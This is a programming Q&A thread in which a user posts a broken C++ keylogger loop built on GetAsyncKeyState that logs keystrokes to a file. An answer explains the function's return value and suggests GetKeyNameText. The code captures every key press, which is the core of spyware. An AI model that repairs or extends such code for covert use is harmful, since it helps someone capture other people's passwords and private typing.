Question

So I decided that I wanted to write a little keylogger tonight, just to learn about getAsyncKeyState. I’m trying to get my log to write to a file but the file’s contents either show up blank or throw a random memory address at me (0x28fef0 before). I’ve heard that getAsyncKeyState doesn’t function well with Windows 7 x64, is it true?

This is pretty aggravating, I was hoping to actually be able to get this running tonight.

    while(1)
    {
        Sleep(20);
        for(DWORD_PTR key = 8; key <= 190; key++)
        {
            if (GetAsyncKeyState(key) == HC_ACTION)
                checkKey(key);
        }
    }

Function definition

void checkKey(DWORD_PTR key)
{
    ofstream out;
    out.open("log.txt");

        if (key==8)
            out << "[del]";
        if (key==13)
            out << "n";
        if (key==32)
            out << " ";
        if (key==VK_CAPITAL)
            out << "[CAPS]";
        if (key==VK_TAB)
            out << "[TAB]";
        if (key==VK_SHIFT)
            out << "[SHIFT]";
        if (key==VK_CONTROL)
            out << "[CTRL]";
        if (key==VK_PAUSE)
            out << "[PAUSE]";
        if (key==VK_ESCAPE)
            out << "[ESC]";
        if (key==VK_END)
            out << "[END]";
        if (key==VK_HOME)
            out << "[HOME]";
        if (key==VK_LEFT)
            out << "[LEFT]";
        if (key==VK_UP)
            out << "[UP]";
        if (key==VK_RIGHT)
            out << "[RIGHT]";
        if (key==VK_DOWN)
            out << "[DOWN]";
        if (key==VK_SNAPSHOT)
            out << "[PRINT]";
        if (key==VK_NUMLOCK)
            out << "[NUM LOCK]";
        if (key==190 || key==110)
            out << ".";
        if (key >=96 && key <= 105)
        {
            key -= 48;
            out << &key; // had ampersand
        }
        if (key >=48 && key <= 59)
            out << &key; // amp'd
        if (key !=VK_LBUTTON || key !=VK_RBUTTON)
        {
            if (key >=65 && key <=90)
            {
                if (GetKeyState(VK_CAPITAL))
                out << &key; // amp;d
            else
            {
                key = key +32;
                out << &key; // amp'd
            }
        }
        }
}

I’m seriously stumped by this issue and any help would be greatly appreciated. Why would a function like this work differently on a 64 bit system? Considering it’s the only box I’ve got I can’t run it on a 32 bit to check whether or not it’s an isolated issue. Because I’m assuming that it’s related to getAsyncKeyState and not my code (which compiles and creates a blank log file) I only included those two code snippets.

Answer 1

You’re using the function incorrectly. Reading the documentation before requesting help is usually a good idea…

I’ll just quote MSDN here:

If the function succeeds, the return value specifies whether the key
was pressed since the last call to GetAsyncKeyState, and whether the
key is currently up or down. If the most significant bit is set, the
key is down, and if the least significant bit is set, the key was
pressed after the previous call to GetAsyncKeyState. However, you
should not rely on this last behavior; for more information, see the
Remarks.

That last part also means it’s completely useless for a key logger.

PS: Consider using GetKeyNameText for translating virtual key codes into meaningful names.